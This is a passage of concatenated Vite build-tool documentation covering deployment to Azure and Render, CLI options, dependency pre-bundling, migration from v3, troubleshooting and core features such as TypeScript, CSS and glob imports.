service. You need: * An Azure account and a subscription key. You can create a [free Azure account here](https://azure.microsoft.com/free). * Your app code pushed to [GitHub](https://github.com). * The [SWA Extension](https://marketplace.visualstudio.com/items?itemName=ms-azuretools.vscode-azurestaticwebapps) in [Visual Studio Code](https://code.visualstudio.com). Install the extension in VS Code and navigate to your app root. Open the Static Web Apps extension, sign in to Azure, and click the '+' sign to create a new Static Web App. You will be prompted to designate which subscription key to use. Follow the wizard started by the extension to give your app a name, choose a framework preset, and designate the app root (usually `/`) and built file location `/dist`. The wizard will run and will create a GitHub action in your repo in a `.github` folder. The action will work to deploy your app (watch its progress in your repo's Actions tab) and, when successfully completed, you can view your app in the address provided in the extension's progress window by clicking the 'Browse Website' button that appears when the GitHub action has run. Render ------ You can deploy your Vite app as a Static Site on [Render](https://render.com/). 1. Create a [Render account](https://dashboard.render.com/register). 2. In the [Dashboard](https://dashboard.render.com/), click the **New** button and select **Static Site**. 3. Connect your GitHub/GitLab account or use a public repository. 4. Specify a project name and branch. * **Build Command**: `npm run build` * **Publish Directory**: `dist` 5. Click **Create Static Site**. Your app should be deployed at `https://<PROJECTNAME>.onrender.com/`. By default, any new commit pushed to the specified branch will automatically trigger a new deployment. [Auto-Deploy](https://render.com/docs/deploys#toggling-auto-deploy-for-a-service) can be configured in the project settings. You can also add a [custom domain](https://render.com/docs/custom-domains) to your project. vite Command Line Interface Command Line Interface ====================== Dev server ---------- ### `vite` Start Vite dev server in the current directory. #### Usage bash ``` vite [root] ``` #### Options | Options | | | --- | --- | | `--host [host]` | Specify hostname (`string`) | | `--port <port>` | Specify port (`number`) | | `--https` | Use TLS + HTTP/2 (`boolean`) | | `--open [path]` | Open browser on startup (`boolean | string`) | | `--cors` | Enable CORS (`boolean`) | | `--strictPort` | Exit if specified port is already in use (`boolean`) | | `--force` | Force the optimizer to ignore the cache and re-bundle (`boolean`) | | `-c, --config <file>` | Use specified config file (`string`) | | `--base <path>` | Public base path (default: `/`) (`string`) | | `-l, --logLevel <level>` | Info | warn | error | silent (`string`) | | `--clearScreen` | Allow/disable clear screen when logging (`boolean`) | | `-d, --debug [feat]` | Show debug logs (`string | boolean`) | | `-f, --filter <filter>` | Filter debug logs (`string`) | | `-m, --mode <mode>` | Set env mode (`string`) | | `-h, --help` | Display available CLI options | | `-v, --version` | Display version number | Build ----- ### `vite build` Build for production. #### Usage bash ``` vite build [root] ``` #### Options | Options | | | --- | --- | | `--target <target>` | Transpile target (default: `"modules"`) (`string`) | | `--outDir <dir>` | Output directory (default: `dist`) (`string`) | | `--assetsDir <dir>` | Directory under outDir to place assets in (default: `"assets"`) (`string`) | | `--assetsInlineLimit <number>` | Static asset base64 inline threshold in bytes (default: `4096`) (`number`) | | `--ssr [entry]` | Build specified entry for server-side rendering (`string`) | | `--sourcemap` | Output source maps for build (default: `false`) (`boolean`) | | `--minify [minifier]` | Enable/disable minification, or specify minifier to use (default: `"esbuild"`) (`boolean | "terser" | "esbuild"`) | | `--manifest [name]` | Emit build manifest json (`boolean | string`) | | `--ssrManifest [name]` | Emit ssr manifest json (`boolean | string`) | | `--force` | Force the optimizer to ignore the cache and re-bundle (experimental)(`boolean`) | | `--emptyOutDir` | Force empty outDir when it's outside of root (`boolean`) | | `-w, --watch` | Rebuilds when modules have changed on disk (`boolean`) | | `-c, --config <file>` | Use specified config file (`string`) | | `--base <path>` | Public base path (default: `/`) (`string`) | | `-l, --logLevel <level>` | Info | warn | error | silent (`string`) | | `--clearScreen` | Allow/disable clear screen when logging (`boolean`) | | `-d, --debug [feat]` | Show debug logs (`string | boolean`) | | `-f, --filter <filter>` | Filter debug logs (`string`) | | `-m, --mode <mode>` | Set env mode (`string`) | | `-h, --help` | Display available CLI options | Others ------ ### `vite optimize` Pre-bundle dependencies. #### Usage bash ``` vite optimize [root] ``` #### Options | Options | | | --- | --- | | `--force` | Force the optimizer to ignore the cache and re-bundle (`boolean`) | | `-c, --config <file>` | Use specified config file (`string`) | | `--base <path>` | Public base path (default: `/`) (`string`) | | `-l, --logLevel <level>` | Info | warn | error | silent (`string`) | | `--clearScreen` | Allow/disable clear screen when logging (`boolean`) | | `-d, --debug [feat]` | Show debug logs (`string | boolean`) | | `-f, --filter <filter>` | Filter debug logs (`string`) | | `-m, --mode <mode>` | Set env mode (`string`) | | `-h, --help` | Display available CLI options | ### `vite preview` Locally preview production build. #### Usage bash ``` vite preview [root] ``` #### Options | Options | | | --- | --- | | `--host [host]` | Specify hostname (`string`) | | `--port <port>` | Specify port (`number`) | | `--strictPort` | Exit if specified port is already in use (`boolean`) | | `--https` | Use TLS + HTTP/2 (`boolean`) | | `--open [path]` | Open browser on startup (`boolean | string`) | | `--outDir <dir>` | Output directory (default: `dist`)(`string`) | | `-c, --config <file>` | Use specified config file (`string`) | | `--base <path>` | Public base path (default: `/`) (`string`) | | `-l, --logLevel <level>` | Info | warn | error | silent (`string`) | | `--clearScreen` | Allow/disable clear screen when logging (`boolean`) | | `-d, --debug [feat]` | Show debug logs (`string | boolean`) | | `-f, --filter <filter>` | Filter debug logs (`string`) | | `-m, --mode <mode>` | Set env mode (`string`) | | `-h, --help` | Display available CLI options | vite Dependency Pre-Bundling Dependency Pre-Bundling ======================= When you run `vite` for the first time, you may notice this message: ``` Pre-bundling dependencies: react react-dom (this will be run only when your dependencies or config have changed) ``` The Why ------- This is Vite performing what we call "dependency pre-bundling". This process serves two purposes: 1. **CommonJS and UMD compatibility:** During development, Vite's dev serves all code as native ESM. Therefore, Vite must convert dependencies that are shipped as CommonJS or UMD into ESM first. When converting CommonJS dependencies, Vite performs smart import analysis so that named imports to CommonJS modules will work as expected even if the exports are dynamically assigned (e.g. React): js ``` // works as expected import React, { useState } from 'react' ``` 2. **Performance:** Vite converts ESM dependencies with many internal modules into a single module to improve subsequent page load performance. Some packages ship their ES modules builds as many separate files importing one another. For example, [`lodash-es` has over 600 internal modules](https://unpkg.com/browse/lodash-es/)! When we do `import { debounce } from 'lodash-es'`, the browser fires off 600+ HTTP requests at the same time! Even though the server has no problem handling them, the large amount of requests create a network congestion on the browser side, causing the page to load noticeably slower. By pre-bundling `lodash-es` into a single module, we now only need one HTTP request instead! **NOTE**Dependency pre-bundling only applies in development mode, and uses `esbuild` to convert dependencies to ESM. In production builds, `@rollup/plugin-commonjs` is used instead. Automatic Dependency Discovery ------------------------------ If an existing cache is not found, Vite will crawl your source code and automatically discover dependency imports (i.e. "bare imports" that expect to be resolved from `node_modules`) and use these found imports as entry points for the pre-bundle. The pre-bundling is performed with `esbuild` so it's typically very fast. After the server has already started, if a new dependency import is encountered that isn't already in the cache, Vite will re-run the dep bundling process and reload the page. Monorepos and Linked Dependencies --------------------------------- In a monorepo setup, a dependency may be a linked package from the same repo. Vite automatically detects dependencies that are not resolved from `node_modules` and treats the linked dep as source code. It will not attempt to bundle the linked dep, and will analyze the linked dep's dependency list instead. However, this requires the linked dep to be exported as ESM. If not, you can add the dependency to [`optimizeDeps.include`](../config/dep-optimization-options#optimizedeps-include) and [`build.commonjsOptions.include`](../config/build-options#build-commonjsoptions) in your config. js ``` export default defineConfig({ optimizeDeps: { include: ['linked-dep'], }, build: { commonjsOptions: { include: [/linked-dep/, /node_modules/], }, }, }) ``` When making changes to the linked dep, restart the dev server with the `--force` command line option for the changes to take effect. **Deduping**Due to differences in linked dependency resolution, transitive dependencies can deduplicate incorrectly, causing issues when used in runtime. If you stumble on this issue, use `npm pack` on the linked dependency to fix it. Customizing the Behavior ------------------------ The default dependency discovery heuristics may not always be desirable. In cases where you want to explicitly include/exclude dependencies from the list, use the [`optimizeDeps` config options](../config/dep-optimization-options). A typical use case for `optimizeDeps.include` or `optimizeDeps.exclude` is when you have an import that is not directly discoverable in the source code. For example, maybe the import is created as a result of a plugin transform. This means Vite won't be able to discover the import on the initial scan - it can only discover it after the file is requested by the browser and transformed. This will cause the server to immediately re-bundle after server start. Both `include` and `exclude` can be used to deal with this. If the dependency is large (with many internal modules) or is CommonJS, then you should include it; If the dependency is small and is already valid ESM, you can exclude it and let the browser load it directly. Caching ------- ### File System Cache Vite caches the pre-bundled dependencies in `node_modules/.vite`. It determines whether it needs to re-run the pre-bundling step based on a few sources: * Package manager lockfile content, e.g. `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml` or `bun.lockb`. * Patches folder modification time. * Relevant fields in your `vite.config.js`, if present. * `NODE_ENV` value. The pre-bundling step will only need to be re-run when one of the above has changed. If for some reason you want to force Vite to re-bundle deps, you can either start the dev server with the `--force` command line option, or manually delete the `node_modules/.vite` cache directory. ### Browser Cache Resolved dependency requests are strongly cached with HTTP headers `max-age=31536000,immutable` to improve page reload performance during dev. Once cached, these requests will never hit the dev server again. They are auto invalidated by the appended version query if a different version is installed (as reflected in your package manager lockfile). If you want to debug your dependencies by making local edits, you can: 1. Temporarily disable cache via the Network tab of your browser devtools; 2. Restart Vite dev server with the `--force` flag to re-bundle the deps; 3. Reload the page.
programming_docs
vite Migration from v3 Migration from v3 ================= Rollup 3 -------- Vite is now using [Rollup 3](https://github.com/vitejs/vite/issues/9870), which allowed us to simplify Vite's internal asset handling and has many improvements. See the [Rollup 3 release notes here](https://github.com/rollup/rollup/releases). Rollup 3 is mostly compatible with Rollup 2. If you are using custom [`rollupOptions`](../config/build-options#rollup-options) in your project and encounter issues, refer to the [Rollup migration guide](https://rollupjs.org/guide/en/#migration) to upgrade your config. Modern Browser Baseline change ------------------------------ The modern browser build now targets `safari14` by default for wider ES2020 compatibility (bumped from `safari13`). This means that modern builds can now use [`BigInt`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt) and that the [nullish coalescing operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Nullish_coalescing) isn't transpiled anymore. If you need to support older browsers, you can add [`@vitejs/plugin-legacy`](https://github.com/vitejs/vite/tree/main/packages/plugin-legacy) as usual. General Changes --------------- ### Encoding The build default charset is now utf8 (see [#10753](https://github.com/vitejs/vite/issues/10753) for details). ### Importing CSS as a String In Vite 3, importing the default export of a `.css` file could introduce a double loading of CSS. ts ``` import cssString from './global.css' ``` This double loading could occur since a `.css` file will be emitted and it's likely that the CSS string will also be used by the application code — for example, injected by the framework runtime. From Vite 4, the `.css` default export [has been deprecated](https://github.com/vitejs/vite/issues/11094). The `?inline` query suffix modifier needs to be used in this case, as that doesn't emit the imported `.css` styles. ts ``` import stuff from './global.css?inline' ``` ### Production Builds by Default `vite build` will now always build for production regardless of the `--mode` passed. Previously, changing `mode` to other than `production` would result in a development build. If you wish to still build for development, you can set `NODE_ENV=development` in the `.env.{mode}` file. In part of this change, `vite dev` and `vite build` will not override `process.env.``NODE_ENV` anymore if it is already defined. So if you've set `process.env.``NODE_ENV = 'development'` before building, it will also build for development. This gives more control when running multiple builds or dev servers in parallel. See the updated [`mode` documentation](env-and-mode#modes) for more details. ### Environment Variables Vite now uses `dotenv` 16 and `dotenv-expand` 9 (previously `dotenv` 14 and `dotenv-expand` 5). If you have a value including `#` or ```, you will need to wrap them with quotes. diff ``` -VITE_APP=ab#cd`ef +VITE_APP="ab#cd`ef" ``` For more details, see the [`dotenv`](https://github.com/motdotla/dotenv/blob/master/CHANGELOG.md) and [`dotenv-expand` changelog](https://github.com/motdotla/dotenv-expand/blob/master/CHANGELOG.md). Advanced -------- There are some changes which only affect plugin/tool creators. * [[#11036] feat(client)!: remove never implemented hot.decline](https://github.com/vitejs/vite/issues/11036) + use `hot.invalidate` instead * [[#9669] feat: align object interface for `transformIndexHtml` hook](https://github.com/vitejs/vite/issues/9669) + use `order` instead of `enforce` Also there are other breaking changes which only affect few users. * [[#11101] feat(ssr)!: remove dedupe and mode support for CJS](https://github.com/vitejs/vite/pull/11101) + You should migrate to the default ESM mode for SSR, CJS SSR support may be removed in the next Vite major. * [[#10475] feat: handle static assets in case-sensitive manner](https://github.com/vitejs/vite/pull/10475) + Your project shouldn't rely on an OS ignoring file names casing. * [[#10996] fix!: make `NODE_ENV` more predictable](https://github.com/vitejs/vite/pull/10996) + Refer to the PR for an explanation about this change. * [[#10903] refactor(types)!: remove facade type files](https://github.com/vitejs/vite/pull/10903) Migration from v2 ----------------- Check the [Migration from v2 Guide](https://v3.vitejs.dev/guide/migration.html) in the Vite v3 docs first to see the needed changes to port your app to Vite v3, and then proceed with the changes on this page. vite Troubleshooting Troubleshooting =============== See [Rollup's troubleshooting guide](https://rollupjs.org/troubleshooting/) for more information too. If the suggestions here don't work, please try posting questions on [GitHub Discussions](https://github.com/vitejs/vite/discussions) or in the `#help` channel of [Vite Land Discord](https://chat.vitejs.dev). CLI --- ### `Error: Cannot find module 'C:\foo\bar&baz\vite\bin\vite.js'` The path to your project folder may include `&`, which doesn't work with `npm` on Windows ([npm/cmd-shim#45](https://github.com/npm/cmd-shim/issues/45)). You will need to either: * Switch to another package manager (e.g. `pnpm`, `yarn`) * Remove `&` from the path to your project Dev Server ---------- ### Requests are stalled forever If you are using Linux, file descriptor limits and inotify limits may be causing the issue. As Vite does not bundle most of the files, browsers may request many files which require many file descriptors, going over the limit. To solve this: * Increase file descriptor limit by `ulimit` shell ``` # Check current limit $ ulimit -Sn # Change limit (temporary) $ ulimit -Sn 10000 # You might need to change the hard limit too # Restart your browser ``` * Increase the following inotify related limits by `sysctl` shell ``` # Check current limits $ sysctl fs.inotify # Change limits (temporary) $ sudo sysctl fs.inotify.max_queued_events=16384 $ sudo sysctl fs.inotify.max_user_instances=8192 $ sudo sysctl fs.inotify.max_user_watches=524288 ``` If the above steps don't work, you can try adding `DefaultLimitNOFILE=65536` as an un-commented config to the following files: * /etc/systemd/system.conf * /etc/systemd/user.conf Note that these settings persist but a **restart is required**. ### Network requests stop loading When using a self-signed SSL certificate, Chrome ignores all caching directives and reloads the content. Vite relies on these caching directives. To resolve the problem use a trusted SSL cert. See: [Cache problems](https://helpx.adobe.com/mt/experience-manager/kb/cache-problems-on-chrome-with-SSL-certificate-errors.html), [Chrome issue](https://bugs.chromium.org/p/chromium/issues/detail?id=110649#c8) #### macOS You can install a trusted cert via the CLI with this command: ``` security add-trusted-cert -d -r trustRoot -k ~/Library/Keychains/login.keychain-db your-cert.cer ``` Or, by importing it into the Keychain Access app and updating the trust of your cert to "Always Trust." ### 431 Request Header Fields Too Large When the server / WebSocket server receives a large HTTP header, the request will be dropped and the following warning will be shown. > Server responded with status code 431. See [https://vitejs.dev/guide/troubleshooting.html#\_431-request-header-fields-too-large](troubleshooting#_431-request-header-fields-too-large). > > This is because Node.js limits request header size to mitigate [CVE-2018-12121](https://www.cve.org/CVERecord?id=CVE-2018-12121). To avoid this, try to reduce your request header size. For example, if the cookie is long, delete it. Or you can use [`--max-http-header-size`](https://nodejs.org/api/cli.html#--max-http-header-sizesize) to change max header size. HMR --- ### Vite detects a file change but the HMR is not working You may be importing a file with a different case. For example, `src/foo.js` exists and `src/bar.js` contains: js ``` import './Foo.js' // should be './foo.js' ``` Related issue: [#964](https://github.com/vitejs/vite/issues/964) ### Vite does not detect a file change If you are running Vite with WSL2, Vite cannot watch file changes in some conditions. See [`server.watch` option](../config/server-options#server-watch). ### A full reload happens instead of HMR If HMR is not handled by Vite or a plugin, a full reload will happen. Also if there is a dependency loop, a full reload will happen. To solve this, try removing the loop. ### High number of HMR updates in console This can be caused by a circular dependency. To solve this, try breaking the loop. Build ----- ### Built file does not work because of CORS error If the HTML file output was opened with `file` protocol, the scripts won't run with the following error. > Access to script at 'file:///foo/bar.js' from origin 'null' has been blocked by CORS policy: Cross origin requests are only supported for protocol schemes: http, data, isolated-app, chrome-extension, chrome, https, chrome-untrusted. > > > Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at file:///foo/bar.js. (Reason: CORS request not http). > > See [Reason: CORS request not HTTP - HTTP | MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp) for more information about why this happens. You will need to access the file with `http` protocol. The easiest way to achieve this is to run `npx vite preview`. Others ------ ### Module externalized for browser compatibility When you use a Node.js module in the browser, Vite will output the following warning. > Module "fs" has been externalized for browser compatibility. Cannot access "fs.readFile" in client code. > > This is because Vite does not automatically polyfill Node.js modules. We recommend avoiding Node.js modules for browser code to reduce the bundle size, although you can add polyfills manually. If the module is imported from a third-party library (that's meant to be used in the browser), it's advised to report the issue to the respective library. ### Syntax Error / Type Error happens Vite cannot handle and does not support code that only runs on non-strict mode (sloppy mode). This is because Vite uses ESM and it is always [strict mode](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode) inside ESM. For example, you might see these errors. > [ERROR] With statements cannot be used with the "esm" output format due to strict mode > > > TypeError: Cannot create property 'foo' on boolean 'false' > > If these code are used inside dependencies, you could use [`patch-package`](https://github.com/ds300/patch-package) (or [`yarn patch`](https://yarnpkg.com/cli/patch) or [`pnpm patch`](https://pnpm.io/cli/patch)) for an escape hatch. vite Features Features ======== At the very basic level, developing using Vite is not that much different from using a static file server. However, Vite provides many enhancements over native ESM imports to support various features that are typically seen in bundler-based setups. NPM Dependency Resolving and Pre-Bundling ----------------------------------------- Native ES imports do not support bare module imports like the following: js ``` import { someMethod } from 'my-dep' ``` The above will throw an error in the browser. Vite will detect such bare module imports in all served source files and perform the following: 1. [Pre-bundle](dep-pre-bundling) them to improve page loading speed and convert CommonJS / UMD modules to ESM. The pre-bundling step is performed with [esbuild](http://esbuild.github.io/) and makes Vite's cold start time significantly faster than any JavaScript-based bundler. 2. Rewrite the imports to valid URLs like `/node_modules/.vite/deps/my-dep.js?v=f3sf2ebd` so that the browser can import them properly. **Dependencies are Strongly Cached** Vite caches dependency requests via HTTP headers, so if you wish to locally edit/debug a dependency, follow the steps [here](dep-pre-bundling#browser-cache). Hot Module Replacement ---------------------- Vite provides an [HMR API](api-hmr) over native ESM. Frameworks with HMR capabilities can leverage the API to provide instant, precise updates without reloading the page or blowing away application state. Vite provides first-party HMR integrations for [Vue Single File Components](https://github.com/vitejs/vite-plugin-vue/tree/main/packages/plugin-vue) and [React Fast Refresh](https://github.com/vitejs/vite-plugin-react/tree/main/packages/plugin-react). There are also official integrations for Preact via [@prefresh/vite](https://github.com/JoviDeCroock/prefresh/tree/main/packages/vite). Note you don't need to manually set these up - when you [create an app via `create-vite`](index), the selected templates would have these pre-configured for you already. TypeScript ---------- Vite supports importing `.ts` files out of the box. ### Transpile Only Note that Vite only performs transpilation on `.ts` files and does **NOT** perform type checking. It assumes type checking is taken care of by your IDE and build process. The reason Vite does not perform type checking as part of the transform process is because the two jobs work fundamentally differently. Transpilation can work on a per-file basis and aligns perfectly with Vite's on-demand compile model. In comparison, type checking quires knowledge of the entire module graph. Shoe-horning type checking into Vite's transform pipeline will inevitably compromise Vite's speed benefits. Vite's job is to get your source modules into a form that can run in the browser as fast as possible. To that end, we recommend separating static analysis checks from Vite's transform pipeline. This principle applies to other static analysis checks such as ESLint. * For production builds, you can run `tsc --noEmit` in addition to Vite's build command. * During development, if you need more than IDE hints, we recommend running `tsc --noEmit --watch` in a separate process, or use [vite-plugin-checker](https://github.com/fi3ework/vite-plugin-checker) if you prefer having type errors directly reported in the browser. Vite uses [esbuild](https://github.com/evanw/esbuild) to transpile TypeScript into JavaScript which is about 20~30x faster than vanilla `tsc`, and HMR updates can reflect in the browser in under 50ms. Use the [Type-Only Imports and Export](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-8.html#type-only-imports-and-export) syntax to avoid potential problems like type-only imports being incorrectly bundled, for example: ts ``` import type { T } from 'only/types' export type { T } ``` ### TypeScript Compiler Options Some configuration fields under `compilerOptions` in `tsconfig.json` require special attention. #### `isolatedModules` Should be set to `true`. It is because `esbuild` only performs transpilation without type information, it doesn't support certain features like const enum and implicit type-only imports. You must set `"isolatedModules": true` in your `tsconfig.json` under `compilerOptions`, so that TS will warn you against the features that do not work with isolated transpilation. However, some libraries (e.g. [`vue`](https://github.com/vuejs/core/issues/1228)) don't work well with `"isolatedModules": true`. You can use `"skipLibCheck": true` to temporarily suppress the errors until it is fixed upstream. #### `useDefineForClassFields` Starting from Vite 2.5.0, the default value will be `true` if the TypeScript target is `ESNext` or `ES2022` or newer. It is consistent with the [behavior of `tsc` 4.3.2 and later](https://github.com/microsoft/TypeScript/pull/42663). It is also the standard ECMAScript runtime behavior. But it may be counter-intuitive for those coming from other programming languages or older versions of TypeScript. You can read more about the transition in the [TypeScript 3.7 release notes](https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#the-usedefineforclassfields-flag-and-the-declare-property-modifier). If you are using a library that heavily relies on class fields, please be careful about the library's intended usage of it. Most libraries expect `"useDefineForClassFields": true`, such as [MobX](https://mobx.js.org/installation.html#use-spec-compliant-transpilation-for-class-properties), [Vue Class Components 8.x](https://github.com/vuejs/vue-class-component/issues/465), etc. But a few libraries haven't transitioned to this new default yet, including [`lit-element`](https://github.com/lit/lit-element/issues/1030). Please explicitly set `useDefineForClassFields` to `false` in these cases. #### Other Compiler Options Affecting the Build Result * [`extends`](https://www.typescriptlang.org/tsconfig#extends) * [`importsNotUsedAsValues`](https://www.typescriptlang.org/tsconfig#importsNotUsedAsValues) * [`preserveValueImports`](https://www.typescriptlang.org/tsconfig#preserveValueImports) * [`jsxFactory`](https://www.typescriptlang.org/tsconfig#jsxFactory) * [`jsxFragmentFactory`](https://www.typescriptlang.org/tsconfig#jsxFragmentFactory) If migrating your codebase to `"isolatedModules": true` is an unsurmountable effort, you may be able to get around it with a third-party plugin such as [rollup-plugin-friendly-type-imports](https://www.npmjs.com/package/rollup-plugin-friendly-type-imports). However, this approach is not officially supported by Vite. ### Client Types Vite's default types are for its Node.js API. To shim the environment of client side code in a Vite application, add a `d.ts` declaration file: typescript ``` /// <reference types="vite/client" /> ``` Also, you can add `vite/client` to `compilerOptions.types` of your `tsconfig`: json ``` { "compilerOptions": { "types": ["vite/client"] } } ``` This will provide the following type shims: * Asset imports (e.g. importing an `.svg` file) * Types for the Vite-injected [env variables](env-and-mode#env-variables) on `import.meta.env` * Types for the [HMR API](api-hmr) on `import.meta.hot` **TIP**To override the default typing, declare it before the triple-slash reference. For example, to make the default import of `*.svg` a React component: ts ``` declare module '*.svg' { const content: React.FC<React.SVGProps<SVGElement>> export default content } /// <reference types="vite/client" /> ``` Vue --- Vite provides first-class Vue support: * Vue 3 SFC support via [@vitejs/plugin-vue](https://github.com/vitejs/vite-plugin-vue/tree/main/packages/plugin-vue) * Vue 3 JSX support via [@vitejs/plugin-vue-jsx](https://github.com/vitejs/vite-plugin-vue/tree/main/packages/plugin-vue-jsx) * Vue 2.7 support via [@vitejs/plugin-vue2](https://github.com/vitejs/vite-plugin-vue2) * Vue <2.7 support via [vite-plugin-vue2](https://github.com/underfin/vite-plugin-vue2) JSX --- `.jsx` and `.tsx` files are also supported out of the box. JSX transpilation is also handled via [esbuild](https://esbuild.github.io). Vue users should use the official [@vitejs/plugin-vue-jsx](https://github.com/vitejs/vite-plugin-vue/tree/main/packages/plugin-vue-jsx) plugin, which provides Vue 3 specific features including HMR, global component resolving, directives and slots. If not using JSX with React or Vue, custom `jsxFactory` and `jsxFragment` can be configured using the [`esbuild` option](../config/shared-options#esbuild). For example for Preact: js ``` // vite.config.js import { defineConfig } from 'vite' export default defineConfig({ esbuild: { jsxFactory: 'h', jsxFragment: 'Fragment', }, }) ``` More details in [esbuild docs](https://esbuild.github.io/content-types/#jsx). You can inject the JSX helpers using `jsxInject` (which is a Vite-only option) to avoid manual imports: js ``` // vite.config.js import { defineConfig } from 'vite' export default defineConfig({ esbuild: { jsxInject: `import React from 'react'`, }, }) ``` CSS --- Importing `.css` files will inject its content to the page via a `<style>` tag with HMR support. You can also retrieve the processed CSS as a string as the module's default export. ### `@import` Inlining and Rebasing Vite is pre-configured to support CSS `@import` inlining via `postcss-import`. Vite aliases are also respected for CSS `@import`. In addition, all CSS `url()` references, even if the imported files are in different directories, are always automatically rebased to ensure correctness. `@import` aliases and URL rebasing are also supported for Sass and Less files (see [CSS Pre-processors](#css-pre-processors)). ### PostCSS If the project contains valid PostCSS config (any format supported by [postcss-load-config](https://github.com/postcss/postcss-load-config), e.g. `postcss.config.js`), it will be automatically applied to all imported CSS. Note that CSS minification will run after PostCSS and will use [`build.cssTarget`](../config/build-options#build-csstarget) option. ### CSS Modules Any CSS file ending with `.module.css` is considered a [CSS modules file](https://github.com/css-modules/css-modules). Importing such a file will return the corresponding module object: css ``` /* example.module.css */ .red { color: red; } ``` js ``` import classes from './example.module.css' document.getElementById('foo').className = classes.red ``` CSS modules behavior can be configured via the [`css.modules` option](../config/shared-options#css-modules). If `css.modules.localsConvention` is set to enable camelCase locals (e.g. `localsConvention: 'camelCaseOnly'`), you can also use named imports: js ``` // .apply-color -> applyColor import { applyColor } from './example.module.css' document.getElementById('foo').className = applyColor ``` ### CSS Pre-processors Because Vite targets modern browsers only, it is recommended to use native CSS variables with PostCSS plugins that implement CSSWG drafts (e.g. [postcss-nesting](https://github.com/csstools/postcss-plugins/tree/main/plugins/postcss-nesting)) and author plain, future-standards-compliant CSS. That said, Vite does provide built-in support for `.scss`, `.sass`, `.less`, `.styl` and `.stylus` files. There is no need to install Vite-specific plugins for them, but the corresponding pre-processor itself must be installed: bash ``` # .scss and .sass npm add -D sass # .less npm add -D less # .styl and .stylus npm add -D stylus ``` If using Vue single file components, this also automatically enables `<style lang="sass">` et al. Vite improves `@import` resolving for Sass and Less so that Vite aliases are also respected. In addition, relative `url()` references inside imported Sass/Less files that are in different directories from the root file are also automatically rebased to ensure correctness. `@import` alias and url rebasing are not supported for Stylus due to its API constraints. You can also use CSS modules combined with pre-processors by prepending `.module` to the file extension, for example `style.module.scss`. ### Disabling CSS injection into the page The automatic injection of CSS contents can be turned off via the `?inline` query parameter. In this case, the processed CSS string is returned as the module's default export as usual, but the styles aren't injected to the page. js ``` import styles from './foo.css' // will be injected into the page import otherStyles from './bar.css?inline' // will not be injected into the page ``` Static Assets ------------- Importing a static asset will return the resolved public URL when it is served: js ``` import imgUrl from './img.png' document.getElementById('hero-img').src = imgUrl ``` Special queries can modify how assets are loaded: js ``` // Explicitly load assets as URL import assetAsURL from './asset.js?url' ``` js ``` // Load assets as strings import assetAsString from './shader.glsl?raw' ``` js ``` // Load Web Workers import Worker from './worker.js?worker' ``` js ``` // Web Workers inlined as base64 strings at build time import InlineWorker from './worker.js?worker&inline' ``` More details in [Static Asset Handling](assets). JSON ---- JSON files can be directly imported - named imports are also supported: js ``` // import the entire object import json from './example.json' // import a root field as named exports - helps with tree-shaking! import { field } from './example.json' ``` Glob Import ----------- Vite supports importing multiple modules from the file system via the special `import.meta.glob` function: js ``` const modules = import.meta.glob('./dir/*.js') ``` The above will be transformed into the following: js ``` // code produced by vite const modules = { './dir/foo.js': () => import('./dir/foo.js'), './dir/bar.js': () => import('./dir/bar.js'), } ``` You can then iterate over the keys of the `modules` object to access the corresponding modules: js ``` for (const path in modules) { modules[path]().then((mod) => { console.log(path, mod) }) } ``` Matched files are by default lazy-loaded via dynamic import and will be split into separate chunks during build. If you'd rather import all the modules directly (e.g. relying on side-effects in these modules to be applied first), you can pass `{ eager: true }` as the second argument: js ``` const modules = import.meta.glob('./dir/*.js', { eager: true }) ``` The above will be transformed into the following: js ``` // code produced by vite import * as __glob__0_0 from './dir/foo.js' import * as __glob__0_1 from './dir/bar.js' const modules = { './dir/foo.js': __glob__0_0, './dir/bar.js': __glob__0_1, } ``` ### Glob Import As `import.meta.glob` also supports importing files as strings (similar to [Importing Asset as String](assets#importing-asset-as-string)) with the [Import Reflection](https://github.com/tc39/proposal-import-reflection) syntax: js ``` const modules = import.meta.glob('./dir/*.js', { as: 'raw' }) ``` The above will be transformed into the following: js ``` // code produced by vite const modules = { './dir/foo.js': 'export default "foo"\n', './dir/bar.js': 'export default "bar"\n', } ``` `{ as: 'url' }` is also supported for loading assets as URLs. ### Multiple Patterns The first argument can be an array of globs, for example js ``` const modules = import.meta.glob(['./dir/*.js', './another/*.js']) ``` ### Negative Patterns Negative glob patterns are also supported (prefixed with `!`). To ignore some files from the result, you can add exclude glob patterns to the first argument: js ``` const modules = import.meta.glob(['./dir/*.js', '!**/bar.js']) ``` js ``` // code produced by vite const modules = { './dir/foo.js': () => import('./dir/foo.js'), } ``` #### Named Imports It's possible to only import parts of the modules with the `import` options. ts ``` const modules = import.meta.glob('./dir/*.js', { import: 'setup' }) ``` ts ``` // code produced by vite const modules = { './dir/foo.js': () => import('./dir/foo.js').then((m) => m.setup), './dir/bar.js': () => import('./dir/bar.js').then((m) => m.setup), } ``` When combined with `eager` it's even possible to have tree-shaking enabled for those modules. ts ``` const modules = import.meta.glob('./dir/*.js', { import: 'setup', eager: true }) ``` ts ``` // code produced by vite: import { setup as __glob__0_0 } from './dir/foo.js' import { setup as __glob__0_1 } from './dir/bar.js' const modules = { './dir/foo.js': __glob__0_0, './dir/bar.js': __glob__0_1, } ``` Set `import` to `default` to import the default export. ts ``` const modules = import.meta.glob('./dir/*.js', { import: 'default', eager: true, }) ``` ts ``` // code produced by vite: import __glob__0_0 from './dir/foo.js' import __glob__0_1 from './dir/bar.js' const modules = { './dir/foo.js': __glob__0_0, './dir/bar.js': __glob__0_1, } ``` #### Custom Queries You can also use the `query` option to provide custom queries to imports for other plugins to consume. ts ``` const modules = import.meta.glob('./dir/*.js', { query: { foo: 'bar', bar: true }, }) ``` ts ``` // code produced by vite: const modules = { './dir/foo.js': () => import('./dir/foo.js?foo=bar&bar=true'), './dir/bar.js': () => import('./dir/bar.js?foo=bar&bar=true'), } ``` ### Glob Import Caveats Note that: * This is a Vite-only feature and is not a web or ES standard. * The glob patterns are treated like import specifiers: they must be either relative (start with `./`) or absolute (start with `/`, resolved relative to project root) or an alias path (see 